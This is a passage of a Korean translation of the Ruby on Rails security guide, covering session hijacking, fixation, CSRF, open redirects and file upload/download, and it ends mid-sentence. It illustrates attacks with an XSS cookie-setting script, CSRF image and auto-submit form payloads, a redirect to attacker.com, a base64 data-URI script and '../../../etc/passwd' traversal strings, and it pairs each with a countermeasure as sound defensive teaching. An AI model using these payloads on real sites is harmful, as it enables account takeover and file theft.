rubyonrails.org에서 더 보기:

Rails 애플리케이션 보안

이 매뉴얼은 웹 애플리케이션에서 발생하는 일반적인 보안 문제와 Rails에서 이를 방지하는 방법에 대해 설명합니다.

이 가이드를 읽은 후에는 다음을 알게 될 것입니다:

  • 강조 표시된 모든 대응책들
  • Rails에서의 session 개념, session에 무엇을 넣어야 하는지와 일반적인 공격 방법들
  • 사이트를 방문하는 것만으로도 보안 문제가 될 수 있는 이유(CSRF 관련)
  • 파일을 다룰 때나 관리자 인터페이스를 제공할 때 주의해야 할 점들
  • 사용자 관리 방법: 로그인/로그아웃과 모든 계층의 공격 방법들
  • 가장 일반적인 인젝션 공격 방법들

1 소개

웹 애플리케이션 프레임워크는 개발자가 웹 애플리케이션을 만드는 데 도움을 주기 위해 만들어졌습니다. 일부는 웹 애플리케이션의 보안에도 도움을 줍니다. 실제로 어느 프레임워크가 다른 것보다 더 안전하다고 할 수는 없습니다: 올바르게 사용한다면 많은 프레임워크로 안전한 앱을 만들 수 있습니다. Ruby on Rails는 SQL injection과 같은 문제를 방지하는 몇 가지 똑똑한 헬퍼 메서드를 가지고 있어서 이는 거의 문제가 되지 않습니다.

일반적으로 플러그앤플레이 보안이라는 것은 존재하지 않습니다. 보안은 프레임워크를 사용하는 사람들에게 달려있고, 때로는 개발 방법에도 달려있습니다. 그리고 웹 애플리케이션 환경의 모든 계층에 달려있습니다: 백엔드 저장소, 웹 서버, 웹 애플리케이션 자체(그리고 가능한 다른 계층이나 애플리케이션들).

하지만 가트너 그룹은 공격의 75%가 웹 애플리케이션 계층에서 발생하며, "감사를 받은 300개 사이트 중 97%가 공격에 취약하다"는 것을 발견했습니다. 이는 웹 애플리케이션이 일반인도 쉽게 이해하고 조작할 수 있어 상대적으로 공격하기 쉽기 때문입니다.

웹 애플리케이션에 대한 위협에는 사용자 계정 탈취, 접근 제어 우회, 민감한 데이터 읽기 또는 수정, 사기성 콘텐츠 제시 등이 포함됩니다. 또는 공격자가 트로이 목마 프로그램이나 원치 않는 이메일 발송 소프트웨어를 설치하여 금전적 이득을 취하거나, 회사 리소스를 수정하여 브랜드 이미지에 손상을 입힐 수 있습니다. 공격을 방지하고 그 영향을 최소화하며 공격 지점을 제거하기 위해서는 먼저 올바른 대응책을 찾기 위해 공격 방법을 완전히 이해해야 합니다. 이것이 이 가이드가 목표로 하는 바입니다.

안전한 웹 애플리케이션을 개발하기 위해서는 모든 계층에서 최신 상태를 유지하고 적의 존재를 알아야 합니다. 보안 메일링 리스트를 구독하고, 보안 블로그를 읽고, 업데이트와 보안 점검을 습관화하세요(추가 리소스 챕터 참고). 이는 수동으로 이루어져야 하는데, 이렇게 해야 까다로운 논리적 보안 문제들을 찾을 수 있기 때문입니다.

2 Sessions

이 챕터는 session과 관련된 특정 공격들과, session 데이터를 보호하기 위한 보안 조치들에 대해 설명합니다.

2.1 세션이란 무엇인가요?

세션은 사용자가 애플리케이션과 상호작용하는 동안 사용자별 상태를 유지할 수 있게 해줍니다. 예를 들어, 세션을 통해 사용자는 한 번 인증하고 이후 요청에서도 로그인 상태를 유지할 수 있습니다.

대부분의 애플리케이션은 애플리케이션과 상호작용하는 사용자들의 상태를 추적할 필요가 있습니다. 이는 쇼핑 장바구니의 내용이 될 수도 있고, 현재 로그인한 사용자의 user id가 될 수도 있습니다. 이러한 사용자별 상태는 세션에 저장될 수 있습니다.

Rails는 애플리케이션에 접근하는 각 사용자에 대해 세션 객체를 제공합니다. 사용자가 이미 활성화된 세션을 가지고 있다면 Rails는 기존 세션을 사용합니다. 그렇지 않으면 새로운 세션이 생성됩니다.

세션과 그 사용법에 대해 더 자세히 알아보려면 Action Controller 개요 가이드를 참조하세요.

2.2 Session 하이재킹

사용자의 session ID를 도용하면 공격자가 피해자의 이름으로 웹 애플리케이션을 사용할 수 있습니다.

많은 웹 애플리케이션에는 인증 시스템이 있습니다: 사용자가 username과 password를 제공하면, 웹 애플리케이션이 이를 확인하고 해당하는 user id를 session hash에 저장합니다. 이제부터 해당 session은 유효합니다. 매 요청마다 애플리케이션은 새로운 인증 없이 session의 user id로 식별되는 사용자를 로드합니다. 쿠키의 session ID가 session을 식별합니다.

따라서 쿠키는 웹 애플리케이션의 임시 인증 수단으로 사용됩니다. 다른 사람의 쿠키를 탈취한 사람은 해당 사용자로 웹 애플리케이션을 사용할 수 있으며, 이는 심각한 결과를 초래할 수 있습니다. 다음은 session을 하이재킹하는 몇 가지 방법과 그 대응책입니다:

  • 안전하지 않은 네트워크에서 쿠키를 스니핑합니다. 무선 LAN이 그러한 네트워크의 예가 될 수 있습니다. 암호화되지 않은 무선 LAN에서는 연결된 모든 클라이언트의 트래픽을 쉽게 감청할 수 있습니다. 웹 애플리케이션 개발자는 이를 위해 SSL을 통한 보안 연결을 제공해야 합니다. Rails 3.1 이상에서는 애플리케이션 config 파일에서 항상 SSL 연결을 강제하여 이를 구현할 수 있습니다:

    config.force_ssl = true
    
  • 대부분의 사람들은 공용 터미널 사용 후 쿠키를 삭제하지 않습니다. 따라서 마지막 사용자가 웹 애플리케이션에서 로그아웃하지 않았다면, 해당 사용자로 애플리케이션을 사용할 수 있게 됩니다. 웹 애플리케이션에 로그아웃 버튼을 제공하고, 이를 눈에 잘 띄게 만드세요.

  • 많은 cross-site scripting (XSS) 공격은 사용자의 쿠키를 탈취하는 것을 목표로 합니다. XSS에 대해 더 자세히 살펴보겠습니다.

  • 공격자가 모르는 쿠키를 도용하는 대신, 자신이 알고 있는 사용자의 session 식별자(쿠키 내)를 고정시킵니다. 이른바 session fixation에 대해서는 나중에 더 자세히 살펴보겠습니다.

2.3 세션 스토리지

Rails는 기본 세션 스토리지로 ActionDispatch::Session::CookieStore를 사용합니다.

다른 세션 스토리지에 대해서는 Action Controller Overview Guide에서 자세히 알아보세요.

Rails CookieStore는 세션 해시를 클라이언트 측의 쿠키에 저장합니다. 서버는 쿠키에서 세션 해시를 검색하고 세션 ID가 필요하지 않게 됩니다. 이는 애플리케이션의 속도를 크게 향상시키지만, 논란이 있는 저장 방식이며 보안 영향과 저장 제한사항에 대해 고려해야 합니다:

  • 쿠키는 4 kB의 크기 제한이 있습니다. 세션과 관련된 데이터에만 쿠키를 사용하세요.

  • 쿠키는 클라이언트 측에 저장됩니다. 클라이언트는 만료된 쿠키의 내용도 보존할 수 있습니다. 클라이언트는 쿠키를 다른 기기에 복사할 수 있습니다. 민감한 데이터는 쿠키에 저장하지 마세요.

  • 쿠키는 본질적으로 임시적입니다. 서버는 쿠키의 만료 시간을 설정할 수 있지만, 클라이언트는 그 전에 쿠키와 그 내용을 삭제할 수 있습니다. 더 영구적인 성격의 모든 데이터는 서버 측에 유지하세요.

  • 세션 쿠키는 자체적으로 무효화되지 않으며 악의적으로 재사용될 수 있습니다. 저장된 타임스탬프를 사용하여 애플리케이션이 오래된 세션 쿠키를 무효화하도록 하는 것이 좋을 수 있습니다.

  • Rails는 기본적으로 쿠키를 암호화합니다. 클라이언트는 암호화를 깨지 않고는 쿠키의 내용을 읽거나 편집할 수 없습니다. 시크릿을 적절히 관리한다면, 쿠키는 일반적으로 안전하다고 볼 수 있습니다.

CookieStore는 세션 데이터를 저장하기 위한 안전하고 암호화된 위치를 제공하기 위해 encrypted 쿠키 jar를 사용합니다. 따라서 쿠키 기반 세션은 내용의 무결성과 기밀성을 모두 제공합니다. 암호화 키와 signed 쿠키에 사용되는 검증 키는 secret_key_base 설정값에서 파생됩니다.

시크릿은 길고 무작위여야 합니다. bin/rails secret을 사용하여 새로운 고유 시크릿을 얻으세요.

암호화된 쿠키와 서명된 쿠키에 대해 서로 다른 salt 값을 사용하는 것도 중요합니다. 서로 다른 salt 설정 값에 동일한 값을 사용하면 서로 다른 보안 기능에 동일한 파생 키가 사용될 수 있으며, 이는 결과적으로 키의 강도를 약화시킬 수 있습니다.

테스트 및 개발 애플리케이션에서는 앱 이름에서 파생된 secret_key_base를 얻습니다. 다른 환경에서는 config/credentials.yml.enc에 있는 무작위 키를 사용해야 하며, 복호화된 상태는 다음과 같습니다:

secret_key_base: 492f...

애플리케이션의 secrets가 노출되었을 가능성이 있다면, 반드시 변경하는 것을 강력히 고려하세요. secret_key_base를 변경하면 현재 활성화된 세션이 만료되고 모든 사용자가 다시 로그인해야 합니다. 세션 데이터 외에도 encrypted cookies, signed cookies, Active Storage 파일들도 영향을 받을 수 있습니다.

2.4 Rotating Encrypted and Signed Cookies Configurations

Rotation은 쿠키 설정을 변경하고 이전 쿠키가 즉시 무효화되지 않도록 하는데 이상적입니다. 사용자들이 사이트를 방문하면 이전 설정으로 쿠키를 읽고 새로운 변경사항으로 다시 쓰여질 기회를 갖게 됩니다. 사용자들이 쿠키를 업그레이드할 충분한 기회를 가졌다고 판단되면 rotation을 제거할 수 있습니다.

암호화된 쿠키와 서명된 쿠키에 사용되는 cipher와 digest를 rotation하는 것이 가능합니다.

예를 들어 서명된 쿠키에 사용되는 digest를 SHA1에서 SHA256으로 변경하려면, 먼저 새로운 설정값을 할당해야 합니다:

Rails.application.config.action_dispatch.signed_cookie_digest = "SHA256"

signed cookie를 위한 hashing algorithm을 설정합니다. "MD5", "SHA1", "SHA256", "SHA384" 또는 "SHA512"만 지원됩니다.

이제 기존 쿠키들이 새로운 SHA256 digest로 자연스럽게 업그레이드될 수 있도록 이전 SHA1 digest에 대한 rotation을 추가하세요.

Rails.application.config.action_dispatch.cookies_rotations.tap do |cookies|
  cookies.rotate :signed, digest: "SHA1" 
end

는 SHA1 digest를 사용하여 signed 쿠키를 회전시킵니다.

그러면 서명된 모든 쿠키는 SHA256으로 다이제스트됩니다. SHA1로 작성된 이전 쿠키들도 여전히 읽을 수 있으며, 접근할 때 새로운 다이제스트로 다시 작성되어 업그레이드되므로 rotation을 제거해도 유효하지 않게 되지 않습니다.

SHA1 다이제스트된 서명 쿠키를 가진 사용자들의 쿠키가 더 이상 다시 작성될 가능성이 없어지면, rotation을 제거하세요.

원하는 만큼 많은 rotation을 설정할 수 있지만, 한 번에 많은 rotation을 가지는 것은 일반적이지 않습니다.

암호화되고 서명된 메시지의 key rotation과 rotate 메서드가 받는 다양한 옵션에 대한 자세한 내용은 MessageEncryptor APIMessageVerifier API 문서를 참조하세요.

2.5 CookieStore 세션에 대한 재생 공격

CookieStore를 사용할 때 알아야 할 또 다른 종류의 공격은 replay attack입니다.

다음과 같이 동작합니다:

  • 사용자가 크레딧을 받으면, 해당 금액이 세션에 저장됩니다(이는 좋지 않은 방법이지만, 설명을 위해 이렇게 하겠습니다).
  • 사용자가 무언가를 구매합니다.
  • 새로 조정된 크레딧 값이 세션에 저장됩니다.
  • 사용자가 첫 번째 단계의 쿠키(이전에 복사해둔)를 가져와서 브라우저의 현재 쿠키를 교체합니다.
  • 사용자는 원래의 크레딧을 되찾게 됩니다.

세션에 nonce(랜덤 값)를 포함시키면 재생 공격을 해결할 수 있습니다. nonce는 한 번만 유효하며, 서버는 모든 유효한 nonce를 추적해야 합니다. 여러 애플리케이션 서버가 있는 경우에는 더욱 복잡해집니다. 데이터베이스 테이블에 nonce를 저장하는 것은 CookieStore의 전체 목적(데이터베이스 접근 회피)을 무효화합니다.

이에 대한 가장 좋은 해결책은 이러한 종류의 데이터를 세션이 아닌 데이터베이스에 저장하는 것입니다. 이 경우 크레딧은 데이터베이스에 저장하고 logged_in_user_id는 세션에 저장하세요.

2.6 Session Fixation

세션 ID를 도용하는 것 외에도, 공격자는 자신이 알고 있는 세션 ID를 고정할 수 있습니다. 이를 session fixation이라고 합니다.

Session fixation

이 공격은 공격자가 알고 있는 사용자의 세션 ID를 고정하고, 사용자의 브라우저가 이 ID를 사용하도록 강제하는 데 초점을 맞춥니다. 따라서 공격자가 나중에 세션 ID를 도용할 필요가 없습니다. 이 공격이 작동하는 방식은 다음과 같습니다:

  • 공격자는 유효한 세션 ID를 생성합니다: 세션을 고정하려는 웹 애플리케이션의 로그인 페이지를 로드하고, 응답의 쿠키에서 세션 ID를 가져옵니다(이미지의 1번과 2번 참조).
  • 만료되는 세션을 유지하기 위해 주기적으로 웹 애플리케이션에 접근하여 세션을 유지합니다.
  • 공격자는 사용자의 브라우저가 이 세션 ID를 사용하도록 강제합니다(이미지의 3번 참조). same origin policy 때문에 다른 도메인의 쿠키를 변경할 수 없으므로, 공격자는 대상 웹 애플리케이션의 도메인에서 JavaScript를 실행해야 합니다. XSS를 통해 애플리케이션에 JavaScript 코드를 주입하면 이 공격이 가능합니다. 예시: <script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>. XSS와 인젝션에 대해서는 뒤에서 더 자세히 다룹니다.
  • 공격자는 피해자를 JavaScript 코드가 삽입된 감염된 페이지로 유인합니다. 페이지를 보면 피해자의 브라우저는 세션 ID를 함정 세션 ID로 변경하게 됩니다.
  • 새로운 함정 세션이 사용되지 않았으므로, 웹 애플리케이션은 사용자에게 인증을 요구할 것입니다.
  • 이제부터 피해자와 공격자는 같은 세션으로 웹 애플리케이션을 공동 사용하게 됩니다: 세션이 유효해지고 피해자는 공격을 알아채지 못합니다.

2.7 Session Fixation - 대응 방안

한 줄의 코드로 session fixation으로부터 보호할 수 있습니다.

가장 효과적인 대응책은 성공적인 로그인 후에 새로운 session identifier를 발급하고 이전 것을 무효화하는 것입니다. 이렇게 하면 공격자는 고정된 session identifier를 사용할 수 없습니다. 이는 session hijacking에 대해서도 좋은 대응책입니다. Rails에서 새로운 session을 생성하는 방법은 다음과 같습니다:

reset_session

세션을 초기화하고 세션 내의 모든 데이터를 삭제합니다.

사용자 관리에 널리 사용되는 Devise gem을 사용하는 경우, 로그인과 로그아웃 시 자동으로 세션을 만료시킵니다. 자체적으로 구현하는 경우, 로그인 액션(세션이 생성될 때) 후에 세션을 만료시키는 것을 잊지 마세요. 이는 세션에서 값들을 제거할 것이므로 새로운 세션으로 해당 값들을 전달해야 합니다.

또 다른 대응 방안은 세션에 사용자별 속성을 저장하고, 요청이 들어올 때마다 이를 검증하며, 정보가 일치하지 않으면 접근을 거부하는 것입니다. 이러한 속성에는 원격 IP 주소나 user agent(웹 브라우저 이름)가 포함될 수 있지만, 후자는 사용자별 특성이 덜합니다. IP 주소를 저장할 때는 인터넷 서비스 제공업체나 대규모 조직에서 사용자들을 프록시 뒤에 배치한다는 점을 고려해야 합니다. 이러한 IP는 세션 도중에 변경될 수 있으므로, 이러한 사용자들은 애플리케이션을 사용할 수 없거나 제한적으로만 사용할 수 있게 됩니다.

2.8 세션 만료

절대 만료되지 않는 세션은 cross-site request forgery (CSRF), 세션 하이재킹, 세션 픽세이션과 같은 공격에 대한 시간적 취약점을 늘립니다.

하나의 방법은 세션 ID가 있는 쿠키의 만료 타임스탬프를 설정하는 것입니다. 하지만 클라이언트가 웹 브라우저에 저장된 쿠키를 편집할 수 있기 때문에 서버에서 세션을 만료시키는 것이 더 안전합니다. 다음은 데이터베이스 테이블에서 세션을 만료시키는 예제입니다. Session.sweep(20.minutes)를 호출하여 20분 전에 사용된 세션을 만료시킬 수 있습니다.

class Session < ApplicationRecord
  def self.sweep(time = 1.hour)
    where(updated_at: ...time.ago).delete_all
  end
end

세션 고정에 대한 섹션에서는 유지된 세션의 문제를 소개했습니다. 공격자는 매 5분마다 세션을 유지하면서 세션 만료를 설정했음에도 불구하고 영구적으로 세션을 유지할 수 있습니다. 이에 대한 간단한 해결책은 sessions 테이블에 created_at 컬럼을 추가하는 것입니다. 이렇게 하면 오래 전에 생성된 세션을 삭제할 수 있습니다. 위의 sweep 메서드에 다음 라인을 사용하세요:

where(updated_at: ...time.ago).or(where(created_at: ...2.days.ago)).delete_all

...time.ago 이전에 업데이트되었거나, 2일 전에 생성된 모든 레코드를 삭제합니다.

3 Cross-Site Request Forgery (CSRF)

이 공격 방법은 사용자가 인증했다고 여겨지는 웹 애플리케이션에 접근하는 악성 코드나 링크를 페이지에 포함시켜 작동합니다. 해당 웹 애플리케이션의 세션이 만료되지 않은 경우, 공격자는 인증되지 않은 명령을 실행할 수 있습니다.

Cross-Site Request Forgery

세션 챕터에서 배웠듯이 대부분의 Rails 애플리케이션은 쿠키 기반 세션을 사용합니다. 쿠키에 세션 ID를 저장하고 서버 측에 세션 해시를 두거나, 전체 세션 해시를 클라이언트 측에 두는 방식입니다. 어느 경우든 브라우저는 해당 도메인에 대한 쿠키를 찾을 수 있다면 해당 도메인에 대한 모든 요청에 자동으로 쿠키를 함께 보냅니다. 논란이 되는 점은 요청이 다른 도메인의 사이트에서 온 경우에도 쿠키를 보낸다는 것입니다. 예시를 통해 살펴보겠습니다:

  • Bob은 메시지 게시판을 둘러보다가 해커가 작성한 게시물을 봅니다. 여기에는 교묘하게 만들어진 HTML 이미지 요소가 있습니다. 이 요소는 이미지 파일이 아닌 Bob의 프로젝트 관리 애플리케이션의 명령어를 참조합니다: <img src="http://www.webapp.com/project/1/destroy">
  • Bob은 몇 분 전에 로그아웃하지 않았기 때문에 www.webapp.com의 세션이 아직 유효합니다.
  • 게시물을 보면서 브라우저는 이미지 태그를 발견합니다. 브라우저는 www.webapp.com에서 의심스러운 이미지를 로드하려고 시도합니다. 앞서 설명했듯이, 유효한 세션 ID가 있는 쿠키도 함께 전송됩니다.
  • www.webapp.com의 웹 애플리케이션은 해당 세션 해시의 사용자 정보를 확인하고 ID가 1인 프로젝트를 삭제합니다. 그런 다음 브라우저가 예상하지 못한 결과 페이지를 반환하므로 이미지는 표시되지 않습니다.
  • Bob은 공격을 알아차리지 못하지만, 며칠 후 프로젝트 1번이 사라진 것을 발견합니다.

중요한 점은 실제로 만들어진 이미지나 링크가 반드시 웹 애플리케이션의 도메인에 있을 필요는 없다는 것입니다. 포럼, 블로그 게시물 또는 이메일 등 어디에나 있을 수 있습니다.

CSRF는 CVE(Common Vulnerabilities and Exposures)에서 매우 드물게 나타납니다 - 2006년에는 0.1% 미만 - 하지만 실제로는 '잠자는 거인'입니다 [Grossman]. 이는 많은 보안 계약 작업의 결과와 큰 대조를 이룹니다 - CSRF는 중요한 보안 문제입니다.

3.1 CSRF 대응책

첫째, W3C 요구사항에 따라 GET과 POST를 적절히 사용하세요. 둘째, non-GET 요청에서 security token을 사용하면 애플리케이션을 CSRF로부터 보호할 수 있습니다.

3.1.1 GET과 POST를 적절히 사용하기

HTTP 프로토콜은 기본적으로 GET과 POST 두 가지 주요 요청 타입을 제공합니다(DELETE, PUT, PATCH는 POST처럼 사용되어야 합니다). World Wide Web Consortium(W3C)은 HTTP GET 또는 POST를 선택하기 위한 체크리스트를 제공합니다:

다음의 경우 GET 사용:

  • 상호작용이 질문에 가까울 때(즉, 쿼리, 읽기 작업, 또는 조회와 같은 안전한 작업일 경우)

다음의 경우 POST 사용:

  • 상호작용이 주문에 가까울 때, 또는
  • 상호작용이 사용자가 인지할 수 있는 방식으로 리소스의 상태를 변경할 때(예: 서비스 구독), 또는
  • 상호작용의 결과에 대해 사용자가 책임을 져야 할

웹 애플리케이션이 RESTful하다면, PATCH, PUT, DELETE와 같은 추가적인 HTTP 동사들을 사용하고 있을 수 있습니다. 하지만 일부 레거시 웹 브라우저는 이들을 지원하지 않고 GET과 POST만 지원합니다. Rails는 이러한 경우를 처리하기 위해 숨겨진 _method 필드를 사용합니다.

POST 요청도 자동으로 전송될 수 있습니다. 이 예시에서, www.harmless.com 링크가 브라우저의 상태 바에 목적지로 표시됩니다. 하지만 실제로는 POST 요청을 보내는 새로운 폼을 동적으로 생성했습니다.

<a href="http://www.harmless.com/" onclick="
  var f = document.createElement('form');
  f.style.display = 'none';
  this.parentNode.appendChild(f);
  f.method = 'POST'; 
  f.action = 'http://www.example.com/account/destroy';
  f.submit();
  return false;">무해한 설문조사로</a>

또는 공격자가 image의 onmouseover event handler 에 코드를 삽입할 수 있습니다:

<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />

사이트간 JSON이나 JavaScript 응답을 요청하기 위해 <script> 태그를 사용하는 등 다양한 가능성이 있습니다. 응답은 실행 가능한 코드이므로 공격자가 민감한 데이터를 추출할 수 있는 방법을 찾을 수 있습니다. 이러한 데이터 유출을 방지하기 위해 사이트간 <script> 태그를 허용하지 않아야 합니다. 하지만 Ajax 요청은 브라우저의 동일 출처 정책을 따릅니다(자신의 사이트만이 XmlHttpRequest를 시작할 수 있음), 따라서 JavaScript 응답을 안전하게 반환할 수 있습니다.

<script> 태그의 출처(자신의 사이트에 있는 태그인지 다른 악의적인 사이트의 태그인지)를 구별할 수 없으므로, 실제로 자신의 사이트에서 제공되는 안전한 동일 출처 스크립트라 하더라도 모든 <script>를 차단해야 합니다. 이러한 경우 <script> 태그용 JavaScript를 제공하는 액션에서는 명시적으로 CSRF 보호를 건너뛰어야 합니다.

3.1.2 Required Security Token

다른 모든 위조된 요청을 방지하기 위해, 우리 사이트는 알고 있지만 다른 사이트는 모르는 필수 보안 토큰을 도입합니다. 요청에 보안 토큰을 포함하고 서버에서 이를 검증합니다. 이는 config.action_controller.default_protect_from_forgerytrue로 설정되어 있을 때 자동으로 수행되며, 이는 새로 생성된 Rails 애플리케이션의 기본값입니다. 다음을 애플리케이션 컨트롤러에 추가하여 수동으로도 설정할 수 있습니다:

protect_from_forgery with: :exception

CSRF(Cross-Site Request Forgery) 공격으로부터 애플리케이션을 보호합니다. Rails는 애플리케이션의 모든 non-GET 요청에 대해 authenticity token을 확인할 것입니다. token이 일치하지 않으면 ActionController::InvalidAuthenticityToken exception이 발생합니다.

Rails에서 생성된 모든 form에 security token이 포함됩니다. security token이 예상된 값과 일치하지 않으면 exception이 발생합니다.

Turbo로 form을 제출할 때도 security token이 필요합니다. Turbo는 애플리케이션 layout의 csrf meta 태그에서 token을 찾아 X-CSRF-Token request header에 추가합니다. 이러한 meta 태그들은 csrf_meta_tags helper 메서드를 통해 생성됩니다.

<head>
  <%= csrf_meta_tags %>
</head>

결과는 다음과 같습니다:

<head>
  <meta name="csrf-param" content="authenticity_token" />
  <meta name="csrf-token" content="THE-TOKEN" />
</head>

JavaScript에서 직접 GET이 아닌 요청을 생성할 때도 security token이 필요합니다. Rails Request.JS는 필요한 request header를 추가하는 로직을 캡슐화한 JavaScript 라이브러리입니다.

다른 라이브러리를 사용하여 Ajax 호출을 할 때는 security token을 기본 header에 직접 추가해야 합니다. meta 태그에서 token을 가져오려면 다음과 같이 할 수 있습니다:

document.head.querySelector("meta[name=csrf-token]")?.content

3.1.3 Persistent Cookies 제거하기

cookies.permanent를 사용하여 사용자 정보를 저장하는 persistent cookies를 사용하는 것이 일반적입니다. 이 경우 cookies는 제거되지 않고 기본적으로 제공되는 CSRF 보호가 효과적이지 않게 됩니다. session과 다른 cookie store를 이 정보에 사용하는 경우, 직접 처리 방법을 구현해야 합니다:

rescue_from ActionController::InvalidAuthenticityToken do |exception|
  sign_out_user # 사용자 쿠키를 삭제하는 예제 메서드
end

위의 메서드는 ApplicationController에 배치할 수 있으며 non-GET 요청에서 CSRF 토큰이 없거나 잘못된 경우에 호출됩니다.

cross-site scripting (XSS) 취약점은 모든 CSRF 보호를 우회한다는 점에 주의하세요. XSS는 공격자에게 페이지의 모든 요소에 대한 접근을 허용하므로, 폼에서 CSRF 보안 토큰을 읽거나 직접 폼을 제출할 수 있습니다. XSS에 대해 자세히 알아보기는 나중에 다룹니다.

4 리다이렉션과 파일

또 다른 보안 취약점 분류는 웹 애플리케이션에서 리다이렉션과 파일 사용과 관련이 있습니다.

4.1 Redirection

웹 어플리케이션의 리다이렉션은 과소평가된 크래커 도구입니다: 공격자가 사용자를 함정 웹사이트로 리다이렉트하는 것 뿐만 아니라, 자체적인 공격을 만들 수도 있습니다.

사용자가 리다이렉션을 위한 URL(또는 일부)를 전달할 수 있을 때마다 취약점이 존재할 수 있습니다. 가장 명백한 공격은 사용자를 원본과 정확히 같은 모양과 느낌을 가진 가짜 웹 어플리케이션으로 리다이렉트하는 것입니다. 이른바 피싱 공격은 사용자에게 이메일로 의심스럽지 않은 링크를 보내거나, XSS를 통해 웹 어플리케이션에 링크를 주입하거나, 외부 사이트에 링크를 게시하는 방식으로 작동합니다. 이 링크가 의심스럽지 않은 이유는 웹 어플리케이션의 URL로 시작하고 악의적인 사이트로 향하는 URL이 리다이렉션 파라미터에 숨겨져 있기 때문입니다: http://www.example.com/site/redirect?to=www.attacker.com. 다음은 legacy action의 예시입니다:

def legacy
  redirect_to(params.update(action: "main"))
end

이것은 사용자가 레거시 액션에 접근하려고 할 때 main 액션으로 리다이렉트합니다. 본래 의도는 레거시 액션의 URL 파라미터를 보존하여 main 액션으로 전달하는 것이었습니다. 하지만 공격자가 URL에 host 키를 포함시킬 경우 악용될 수 있습니다:

http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com

URL 끝에 있으면 거의 눈에 띄지 않고 사용자를 attacker.com 호스트로 리다이렉트합니다. 일반적으로 사용자 입력을 직접 redirect_to에 전달하는 것은 위험한 것으로 간주됩니다. 간단한 대응 방법은 레거시 액션에서 예상되는 파라미터만 포함하는 것입니다 (예상치 못한 파라미터를 제거하는 것이 아닌 허용 목록 방식). 그리고 URL로 리다이렉트하는 경우, 허용 목록이나 정규 표현식으로 확인하세요.

4.1.1 자체 포함 XSS

또 다른 리다이렉션과 자체 포함 XSS 공격은 Firefox와 Opera에서 data 프로토콜을 사용하여 작동합니다. 이 프로토콜은 콘텐츠를 브라우저에 직접 표시하며 HTML이나 JavaScript부터 전체 이미지까지 모든 것이 될 수 있습니다:

data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K

이 예제는 간단한 메시지 박스를 표시하는 Base64로 인코딩된 JavaScript입니다. 리다이렉션 URL에서 공격자는 악의적인 코드가 포함된 이 URL로 리다이렉트할 수 있습니다. 대응 방법으로, 사용자가 리다이렉트될 URL을 (부분적으로라도) 제공하지 못하게 하세요.

4.2 파일 업로드

파일 업로드가 중요한 파일을 덮어쓰지 않도록 하고, 미디어 파일은 비동기적으로 처리하세요.

많은 웹 애플리케이션에서 사용자가 파일을 업로드할 수 있습니다. 사용자가 (부분적으로) 선택할 수 있는 파일 이름은 항상 필터링되어야 합니다. 공격자가 악의적인 파일 이름을 사용하여 서버의 모든 파일을 덮어쓸 수 있기 때문입니다. 파일 업로드를 /var/www/uploads에 저장하고, 사용자가 "../../../etc/passwd"와 같은 파일 이름을 입력하면 중요한 파일을 덮어쓸 수 있습니다. 물론 Ruby interpreter가 이를 수행하려면 적절한 권한이 필요합니다 - 이는 웹 서버, 데이터베이스 서버 및 기타 프로그램을 권한이 낮은 Unix 사용자로 실행해야 하는 또 다른 이유입니다.

사용자 입력 파일 이름을 필터링할 때 악의적인 부분을 제거하려고 시도하지 마세요. 웹 애플리케이션이 파일 이름에서 모든 "../"를 제거하고 공격자가 "....//"와 같은 문자열을 사용하는 상황을 생각해보세요 - 결과는 "../"가 됩니다. 허용된 문자 집합으로 파일 이름의 유효성을 확인하는 permitted list 접근 방식을 사용하는 것이 가장 좋습니다. 이는 허용되지 않은 문자를 제거하려는 restricted list 접근 방식과 반대됩니다. 유효한 파일 이름이 아닌 경우, 제거하지 말고 거부하거나(또는 허용되지 않은 문자를 대체) 하세요. 다음은 attachment_fu plugin의 파일 이름 sanitizer입니다:

def sanitize_filename(filename)
  filename.strip.tap do |name|
    # 참고: File.basename은 Unix에서 Windows 경로를 제대로 처리하지 못합니다
    # 전체 경로가 아닌 파일명만 가져옵니다
    name.sub!(/\A.*(\\|\/)/, "")
    # 마지막으로 영숫자, underscore나 마침표가 아닌 
    # 모든 문자를 underscore로 대체합니다
    name.gsub!(/[^\w.-]/, "_")
  end
end

파일 업로드의 동기 처리(attachment_fu 플러그인이 이미지에 대해 수행하는 것과 같은)의 중요한 단점은 denial-of-service 공격에 취약하다는 것입니다. 공격자는 여러 컴퓨터에서 동기적으로 이미지 파일 업로드를 시작할 수 있으며, 이는 서버 부하를 증가시키고 결국 서버를 다운시키거나 멈추게 할 수 있습니다.

이에 대한 해결책은 미디어 파일을 비동기적으로 처리하는 것입니다: 미디어 파일을 저장하고 데이터베이스에 처리 요청을 예약합니다. 두 번째 프로세스가 백그라운드에서 파일 처리를 담당합니다.

4.3 파일 업로드에서의 실행 가능한 코드

특정 디렉토리에 업로드된 파일의 소스 코드가 실행될 수 있습니다. Apache의 홈 디렉토리인 경우 Rails의 /public 디렉토리에 파일 업로드를 두지 마세요.

인기 있는 Apache 웹 서버에는 DocumentRoot라는 옵션이 있습니다. 이는 웹사이트의 홈 디렉토리로, 이 디렉토리 트리에 있는 모든 것이 웹 서버에 의해 제공됩니다. 특정 파일 확장자를 가진 파일들의 경우, 요청될 때 그 안의 코드가 실행될 수 있습니다(일부 옵션 설정이 필요할 수 있음). PHP와 CGI 파일이 그 예시입니다. 공격자가 코드가 포함된 "file.cgi" 파일을 업로드하고, 누군가가 그 파일을 다운로드할 때 실행되는 상황을 생각해보세요.

Apache DocumentRoot가 Rails의 /public 디렉토리를 가리키는 경우, 파일 업로드를 그곳에 두지 마세요. 최소한 한 단계 위의 디렉토리에 파일을 저장하세요.

4.4 파일 다운로드

사용자가 임의의 파일을 다운로드할 수 없도록 해야 합니다.

업로드 파일명을 필터링해야 하는 것처럼, 다운로드에서도 마찬가지로 필터링이 필요합니다. send_file() 메소드는 서버에서 클라이언트로 파일을 전송합니다. 만약 사용자가 입력한 파일명을 필터링 없이 사용한다면, 어떤 파일이든 다운로드될 수 있습니다:

send_file("/var/www/uploads/" + params[:filename])

params[:filename]의 값을 제대로 체크하지 않으면 누구나 웹서버의 아무 파일이나 다운로드할 수 있게 됩니다.

서버의 로그인 정보를 다운받기 위해 "../../../etc/passwd"와 같은 파일명을 전달하면 됩니다. 이에 대한 간단한 해결책은 요청된 파일이 의도된 디렉토리에 있는지 확인하는 것 입니다:

